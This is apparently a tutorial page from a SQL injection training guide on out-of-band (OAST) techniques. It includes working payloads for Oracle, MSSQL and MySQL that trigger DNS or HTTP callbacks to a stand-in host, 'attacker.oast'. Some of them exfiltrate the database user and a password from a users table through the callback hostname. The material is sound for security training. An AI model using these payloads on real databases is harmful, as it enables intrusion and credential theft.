SQL Injection: The Complete Practical Guide

Out-of-band (OAST) SQL Injection

When in-band and timing both fail, make the database call out to you. Triggering DNS/HTTP callbacks per DBMS and exfiltrating data in the hostname, step by step.

Published

Out-of-band SQL injection, often called OAST (out-of-band application security testing), is the technique for when the response tells you nothing and even timing is unreliable. Instead of reading data from the app, you make the database open a network connection to a server you control and carry the data out in that request.

When both in-band and timing fail

Some injection points sit in a query whose output you never see: a logging insert, a background report, an async job. Boolean and time-based blind need a response to measure, and sometimes there just is not one, or the network is too noisy for timing to be trustworthy. If the database can reach the internet, an out-of-band callback sidesteps all of that.

Set up a listener

You need a host that records inbound DNS and HTTP for a domain you own. A collaborator-style listener (Burp Collaborator, interactsh, or your own authoritative DNS server) gives you a unique subdomain and shows every lookup and request that hits it. On WebVerse, use the lab's provided listener.

Triggering a DNS or HTTP callback from the DB

Each database has functions that resolve or fetch a name. Point one at your domain and the database performs a lookup you can see:

Oracle:  ' UNION SELECT UTL_INADDR.get_host_address('x.attacker.oast'),NULL FROM dual-- -
         (or UTL_HTTP.request('http://x.attacker.oast/'))
MSSQL:   '; EXEC master..xp_dirtree '\\x.attacker.oast\a'-- -
MySQL:   ' UNION SELECT LOAD_FILE('\\\\x.attacker.oast\\a'),NULL-- -   (Windows, UNC path)

A hit on your listener confirms the injection even though the page showed nothing.

Exfiltrating data in the callback hostname

Now smuggle data out. Concatenate the value you want into the subdomain, so it becomes part of the name the database resolves:

Oracle:  ' UNION SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.oast'),NULL FROM dual-- -
MySQL:   ' UNION SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.oast\\x')),NULL-- -

The username or password arrives as the leftmost label of the DNS query in your logs. Keep each chunk within DNS label limits and strip characters that are not valid in a hostname.

Using a collaborator-style listener

Read the data straight from the listener's log. Because DNS resolution usually escapes outbound firewalls even when HTTP does not, OOB often works where nothing else will. Note the dependency: the database must have the relevant function enabled and outbound access, which is also why locking those down is part of the fix.

Related: once you can run functions like these, you may be close to turning SQL injection into RCE. Try the chain on a free live target.

← Back to SQL Injection: The Complete Practical Guide